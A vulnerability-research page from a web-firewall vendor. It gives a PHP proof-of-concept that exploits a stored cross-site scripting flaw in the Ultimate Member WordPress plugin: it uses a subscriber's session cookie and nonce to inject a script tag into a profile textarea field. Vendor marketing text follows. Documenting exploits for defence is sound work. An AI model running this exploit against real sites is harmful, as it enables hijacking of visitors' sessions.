// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8489 - Ultimate Member <= 2.11.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Non-HTML Custom Textarea Profile Field

/*
 * This PoC demonstrates exploiting a non-HTML custom textarea profile field.
 * The attacker must have subscriber-level access.
 * Change $target_url and $attacker_cookie to match the target environment.
 */

$target_url = 'http://localhost/wordpress';  // Base URL of the WordPress installation
$attacker_cookie = 'wordpress_logged_in_xxxxxxxxxxxxxxxx';  // Session cookie for authenticated subscriber

// Step 1: Get the nonce and profile form fields
$profile_url = $target_url . '/wp-admin/admin-ajax.php?action=um_profile';  // Example endpoint
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php?action=um_profile',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => $attacker_cookie,
    CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from form (simplified - real implementation would parse HTML)
preg_match('/id="_um_nonce_([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 2: Submit the profile update with XSS payload in a non-HTML textarea field
// The field 'about_me' is used as an example - adjust to match actual custom field metakey
$payload = '<script>alert("XSS by Atomic Edge");</script>';
$post_data = [
    'action' => 'um_profile_update',
    '_um_nonce' => $nonce,
    'user_id' => '0',  // Zero means current user
    'about_me' => $payload,  // Replace with the actual metakey of the custom textarea field
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => $attacker_cookie,
    CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
if ($http_code == 200) {
    echo "[+] Payload submitted successfully. XSS will execute when viewing the attacker's profile.n";
} else {
    echo "[-] Failed to submit payload. Response:n$responsen";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.